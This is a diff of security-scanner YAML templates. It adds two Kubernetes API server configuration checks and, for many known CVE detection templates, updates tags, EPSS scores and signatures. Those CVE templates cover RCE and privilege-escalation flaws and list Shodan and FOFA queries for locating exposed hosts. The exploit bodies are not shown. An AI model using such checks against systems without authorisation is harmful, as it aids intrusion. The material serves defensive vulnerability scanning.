+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery

 flow: |
  code(1)
@@ -88,4 +88,4 @@ code:
      - type: dsl
        dsl:
          - '"Dangling DNS Record: Type: " + recordType + " Data: " + recordData + " in Zone: " + managedZone + " of Project: " + projectId'
-# digest: 490a0046304402202c5b70acf82fe3e4dbbdf2f4205f693e25cfafc642d5bc9c5b661b7685fcf2ee022032f7c3bd76089463d4bde9e6e4d9de7c25ffc32592167725b57b5ecf86d12e39:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204272ac41efa35729e016879c17d50d03f4b6ac55bfb4f8f44988453124e52510022100fa6369224c1eeb6551e2601a926be5495112c2ec965403dd2f0303907a37bfcd:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Enable DNSSEC for each Google Cloud DNS managed zone through the Google Cloud Console or using the `gcloud dns managed-zones update` command with the `--dnssec-state=on` flag.
  reference:
    - https://cloud.google.com/dns/docs/dnssec
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config,discovery

 flow: |
  code(1)
@@ -69,4 +69,4 @@ code:
      - type: dsl
        dsl:
          - '"DNSSEC not enabled for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4a0a00473045022100a63467b5c1df819e70daa1a522e5d82b1ebf323053c6059515d504ba3b21a7440220585e48a1e6f01417b987f45713c14ed23a02dcd48f34715a0a31287678703e63:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220216452864fd498a37ca7126a7ac05c8ed4ef12e0ac61c64859e224448acedd6e022100a55e457f728bd9ecc9c5827ef7ae05c82e881f7b30df22fb18edd2b3c231a9d6:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Update the DNSSEC configuration for each DNS managed zone to use more secure algorithms like RSASHA256 or ECDSAP256SHA256 for the Key-Signing Key (KSK).
  reference:
    - https://cloud.google.com/dns/docs/dnssec-config
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery

 flow: |
  code(1)
@@ -69,4 +69,4 @@ code:
      - type: dsl
        dsl:
          - '"Deprecated RSASHA1 algorithm found in DNS managed zone: " + managedZone + " in Project: " + projectId'
-# digest: 4a0a00473045022100f1fba22253f98b9a21cc53aa6992c05c36ec882ebaee328c6b76b5ac3c5688b402206dcf925a8f866fe1240ba4fe8c20b80730229c5443fc645041aa23c0c3ca6758:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f824e7dde9600cd968137f059bb4796dabfa7cc877e9f5de277b66e0312ec234022028c76505257d8f5ad46be0313ef6d52e7f02f5f3dbcc0feb1f2052d7bd6b7a90:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Update the DNSSEC configuration to use a stronger, more secure signing algorithm like RSASHA256 or ECDSAP256SHA256 for your DNS managed zones.
  reference:
    - https://cloud.google.com/dns/docs/dnssec-configuring
-  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config
+  tags: cloud,devops,gcp,gcloud,dns,dnssec,gcp-cloud-config,discovery

 flow: |
  code(1)
@@ -71,4 +71,4 @@ code:
      - type: dsl
        dsl:
          - '"Deprecated RSASHA1 Algorithm used in DNSSEC for Managed Zone: " + managedZoneName + " in Project: " + projectId'
-# digest: 4b0a00483046022100cb8b9fff2868480c6af2ad01eab469aae458e9d9bab3eff9a7e58b2bcf36d7c7022100d6a35be3a70ec1ae8d2e5abf280603f6b3c1a64e1e2fd5ae89bd0d281d4dda56:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b162de9f0763eea4bcf9aa7277cb7298115a69682615a41e7680619b3f5e6a7d022070379ac61ebd9acdcdc3b5a15333969a2b443bd656f0dde2d86cefb9a38155c1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
+id: k8s-apiserver-anonymous-access
+
+info:
+  name: Ensure kube-apiserver --anonymous-auth is explicitly disabled
+  author: songyaeji
+  severity: high
+  description: Checks whether kube-apiserver explicitly sets --anonymous-auth=false in its startup arguments.
+  impact: |
+    If --anonymous-auth is not explicitly disabled, anonymous unauthenticated requests might be allowed,
+    enabling unauthenticated access to cluster resources.
+  remediation: |
+    Edit the kube-apiserver manifest (e.g., /etc/kubernetes/manifests/kube-apiserver.yaml) or startup flags
+    and ensure "--anonymous-auth=false" is present in the apiserver arguments.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--anonymous-auth=false"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -l k8s-app=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}" 2>/dev/null || \
+      kubectl get pods -n kube-system -o jsonpath="{.items[?(@.metadata.name.indexOf('kube-apiserver')>=0)].spec.containers[*].command}" 2>/dev/null || \
+      echo ""
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+      - type: word
+        words:
+          - "{{argument}}"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-apiserver configuration does not explicitly set " + argument + ". This may allow anonymous access."'
+# digest: 4a0a00473045022100d0c4bd2d21dce35e0c47b2d42500b6f9db81b0b3e5c5f7c27969c09297fa84110220190d2e14c1518c8cd02de2d1b1db103825aaf277c283bf400106ca9250da7f32:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
+id: k8s-apiserver-token-auth-file
+
+info:
+  name: Detect kube-apiserver --token-auth-file usage
+  author: songyaeji
+  severity: high
+  description: Detects whether kube-apiserver includes the --token-auth-file startup argument.
+  impact: |
+    If the API server is started with --token-auth-file, static token file authentication may be allowed, which can enable long-lived or poorly managed tokens and weaken cluster authentication posture.
+  remediation: |
+    Remove the --token-auth-file argument from the kube-apiserver startup flags (e.g., edit
+    /etc/kubernetes/manifests/kube-apiserver.yaml) or ensure any tokens in that file are rotated
+    and managed securely. Prefer dynamic, short-lived service account tokens and RBAC.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
+  tags: cloud,devops,kubernetes,security,devsecops,api-server,k8s,k8s-cluster-security
+
+variables:
+  argument: "--token-auth-file"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-apiserver -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-apiserver'
+
+      - type: word
+        words:
+          - "{{argument}}"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-apiserver is configured with " + argument + ". Review and remove if unnecessary."'
+# digest: 490a004630440220406c76857bf007a985f74be4f4f7f85f7f8da773fb9d363ae9deb4995c4155b10220309ba2bba33bee584dc505e418d7ed08ab3aef4beac30fe1888fa3bccba92797:922c64590222798bb761d5b6d8e72950
@@ -11,9 +11,9 @@ info:
  metadata:
    verified: true
  classification:
-    epss-score: 0.94475
-    epss-percentile: 0.99997
-  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev
+    epss-score: 0.94477
+    epss-percentile: 0.99998
+  tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln

 variables:
  url: "{{RootURL}}"
@@ -138,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 490a00463044022005c234ad505dcfff31f7b855cd76ffc116681b3843b0cfdad17d3676432635cf022004e32d3483bd166c4a4dbd904cdfa0f4c86bf3f31edefa81d5b2432123ab8cd0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950
@@ -13,14 +13,14 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
-    epss-score: 0.93901
-    epss-percentile: 0.99871
+    epss-score: 0.93875
+    epss-percentile: 0.99862
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
    vendor: apache
    product: tomcat
-  tags: cve,cve2016,apache,tomcat,rce,kev,vkev
+  tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -27,7 +27,7 @@ info:
      - product:"jenkins"
      - x-jenkins
    fofa-query: icon_hash=81586312
-  tags: cve,cve2017,jenkins,rce,vkev,kev
+  tags: cve,cve2017,jenkins,rce,vkev,kev,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502204bd0b2ca837cc7fcff49335a8d057e484b3d0430109a63044194fe8332c70513022100bdbae48a0c189b9b03abd0b4def5c9c962b1d9c201131d31e8f8a894b5ea6bc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201673a5118dfdbecf60a1be63a1d24a000ed266e10d0c7fb6f78eb4598669fde1022100fa926a7397ae4e913a90e271a609b90629fd6be8e250915b0abe22c282144c60:922c64590222798bb761d5b6d8e72950
@@ -17,14 +17,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
-    epss-score: 0.94411
-    epss-percentile: 0.99973
+    epss-score: 0.94414
+    epss-percentile: 0.99976
  metadata:
    verified: true
    vendor: microsoft
    product: sharepoint
    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
-  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -154,4 +154,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 490a004630440220644adeff1cb77337f79c1710fe524dd045ce7be364a946ff32339fbf7926617002203edd0aa5f9c73dd3a99f3f9e4f0ef9eb263f3392192050b76aea9b74e230da74:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082461cf3c1e6dd2447ebe24351e8beb9729daeaa31c70ffcee8b29094d53e51b022100e6f972c3ab3ec97a3380691d598c83e68e66ecb8f2eb69db912e5d3f66231e1d:922c64590222798bb761d5b6d8e72950
@@ -18,14 +18,14 @@ info:
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
    epss-score: 0.86126
-    epss-percentile: 0.99355
+    epss-percentile: 0.99351
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sudo_project
    product: sudo
-  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
+  tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln

 self-contained: true
 code:
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a004630440220538b4466bffe9de4835b88458bddc82fd08d39b9e70bcadcad6c31800f7231010220042f88ef4eaaba7420a58da79f1738380c1a65a972d735375faf9d74a53a099d:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.93121
-    epss-percentile: 0.99786
+    epss-score: 0.93368
+    epss-percentile: 0.99801
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -24,7 +24,7 @@ info:
    product: .net_framework
    shodan-query: 'server:"ms .net remoting"'
    max-request: 1
-  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -102,4 +102,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a00473045022100dc124d919094fe800ea6212134e17dbf21fbfb65e6b751fef413d16c12d010e002203ebb7a8e7ca9a285d1bff9e19b3b4226c6c7ab3cebb5ef3e83e03b9817fbc139:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950
@@ -10,8 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.92022
-    epss-percentile: 0.99692
+    epss-score: 0.92155
+    epss-percentile: 0.99695
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -24,7 +24,7 @@ info:
    shodan-query: html:"Apache Tomcat"
    vendor: apache
    product: tomcat
-  tags: cve,cve2020,tomcat,websocket,dos,code
+  tags: cve,cve2020,tomcat,websocket,dos,code,vuln

 flow: http(1) && code(1,2) && code (3)

@@ -17,14 +17,14 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.92263
-    epss-percentile: 0.9971
+    epss-score: 0.92188
+    epss-percentile: 0.99697
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: sudo_project
    product: sudo
-  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev
+  tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln

 self-contained: true
 code:
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a00473045022100928d66713f184aec97a59a2932240a6fb00a8f50371163757510217fa21067c802205ffca122d2a1a32c70c5bd0bad4a553668cb890491044f6f1945a5af840ffa0c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
-    epss-score: 0.94003
-    epss-percentile: 0.99886
+    epss-score: 0.9394
+    epss-percentile: 0.99872
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -36,7 +36,7 @@ info:
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
-  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
 flow: http () && code()

 http:
@@ -197,4 +197,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 4a0a0047304502201e695eaf0b295a9492a1e85cb8b048d9134644f8c3c8e164ab16f3e163fe3519022100bc466556ead56730639118cf27b33b7ea4301c9a911c2710c51a0a9bbde66132:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
    epss-score: 0.92037
-    epss-percentile: 0.99694
+    epss-percentile: 0.99684
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -30,7 +30,7 @@ info:
    vendor: canonical
    product: ubuntu_linux
    shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
-  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev
+  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln

 self-contained: true
 code:
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a004730450220337f6ba3625bfa8d96ef3071a8b63f18f83b3a9ecda0925233fae7cfd0d6da94022100b84eb4d136c34b95951371db80ad169855b8c6493b7c136653f6650632f7adcb:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.91169
-    epss-percentile: 0.99635
+    epss-score: 0.9117
+    epss-percentile: 0.99625
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -25,7 +25,7 @@ info:
    product: abandoned_cart_lite_for_woocommerce
    framework: wordpress
    fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
-  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev
+  tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
 code:
  - engine:
      - php
@@ -626,4 +626,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 4a0a0047304502204b737e5bccd089d26945cab65a253a4c0fd06e7c28b02d9e3b3c1c9104855e6e022100ccdd55c1ff5661e54ad57ab1939c511fbeabc31b85ff65c0babe02c32c5c51b6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
    epss-score: 0.86244
-    epss-percentile: 0.99359
+    epss-percentile: 0.99356
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -29,7 +29,7 @@ info:
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
 variables:
  username: admin

@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4a0a0047304502210088d46eafc5f95c72d4d76ba91922de5fb54665fc10e985a5255e36923bbfcd9d02205b6d6ffba2f01c7c2682c8c7b093ccf58eb8584be24daf360eefb16049c8b034:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950
@@ -17,14 +17,14 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.78361
-    epss-percentile: 0.98986
+    epss-score: 0.78409
+    epss-percentile: 0.98978
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gnu
    product: glibc
-  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev
+  tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln

 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100c22ad24ae968c0fdbb262870042bda2a541b88966850673057cc3101130e93fe022052c0f83964710d0043392569e6ad5546d62ee8c4c031da31b4102ac76e4b4ad1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950
@@ -18,13 +18,13 @@ info:
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
    epss-score: 0.25078
-    epss-percentile: 0.95977
+    epss-percentile: 0.95931
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gnu
    product: glibc
-  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
+  tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln

 self-contained: true
 code:
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207132165d22ecefd915ab6a7e967c59094faf69beb40a9463730b1e711148e53a0221009b52aeff3fd909df339fef801a83b9ea8ffd3a35b8170243b687fae65fc5d0e8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.72148
-    epss-percentile: 0.98692
+    epss-score: 0.69676
+    epss-percentile: 0.98585
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -23,7 +23,7 @@ info:
    product: photos
    framework: diskstation_manager
    shodan-query: html:"BeeStation"
-  tags: unauth,synology,rce,websocket,diskstation
+  tags: unauth,synology,rce,websocket,diskstation,vuln

 variables:
  OAST: "{{interactsh-url}}"
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a004730450220115580f5db0df59373cbbdb7726a0d708ca0ddc7e424ca3736705a605f6b502d022100a6d60ddedb892cebb4f76fe9a005082b5732f8739880ad99fe22f3c862953d00:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950
@@ -14,13 +14,13 @@ info:
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
    epss-score: 0.93687
-    epss-percentile: 0.9984
+    epss-percentile: 0.99833
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
    product: privileged_remote_access
    verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln

 code:
  - engine:
@@ -37,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 490a0046304402201c1988a638881925262d9e242d73af7c88242d5dbf1e3aceeb55bd0a50f81047022078cd723c4d65922dd7c4ca7f92993148aafeea0e1f2f04b8ab8ef890a43a995a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.93769
-    epss-percentile: 0.99853
+    epss-score: 0.93259
+    epss-percentile: 0.99793
  metadata:
    max-request: 1
    vendor: zabbix
@@ -34,7 +34,7 @@ info:
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
-  tags: cve,cve2024,authenticated,zabbix,sqli,vkev
+  tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
 variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a0047304502201d63fec0b7986f0a7f25cca80bc5e2fd86d33d24dcb1c21356d9ca0a8514b48c0221009ba9e4bd10572a1445600ba4bed37b6a0a2964626c6bac54b2812ff6ca49af9f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950
@@ -17,14 +17,14 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.86323
-    epss-percentile: 0.99362
+    epss-score: 0.85778
+    epss-percentile: 0.99331
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: tukaani
    product: xz
-  tags: cve,cve2024,local,code,xz,backdoor,tukaani
+  tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln

 self-contained: true
 code:
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a004830460221008e058701d9b0bb86454a5b8f3e13138a54b3bc5b13c1919823a09b40e988534c022100ac4bbd523fd0ff59703071dc4f884b90b448a7a3c4cc770892c587539d145503:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950
@@ -10,11 +10,11 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.14988
-    epss-percentile: 0.94307
+    epss-score: 0.16207
+    epss-percentile: 0.94529
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
-  tags: cve,cve2024,py,code,dos,python,sqlparse
+  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln

 self-contained: true
 code:
@@ -29,4 +29,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4b0a0048304602210092616283b5ad1773ae07c7668619fab5a0e8ed19e5f85c5631c898a2bbd0a811022100abedeefc2df44a3d8f2f09683d41a29981b71535108dd48a14c69207e51be2c6:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950
@@ -20,14 +20,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
-    epss-score: 0.12641
-    epss-percentile: 0.937
+    epss-score: 0.39163
+    epss-percentile: 0.97099
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
-  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev
+  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln

 code:
  - engine:
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a00463044022057eeaf9859453e41c43aed40325842f4eaf77282a0b6ed33dc34bc0067a4c4b202205622075b06dc0b995d27216e15e1e7a4bc41b3b0f29f3f0b991c02c12eb827b2:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,148 @@
+id: CVE-2024-47575
+
+info:
+  name: FortiManager Unauthenticated Remote Code Execution
+  author: 0x_Akoko,pussycat0x,watchTowr
+  severity: critical
+  description: |
+    A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
+  remediation: |
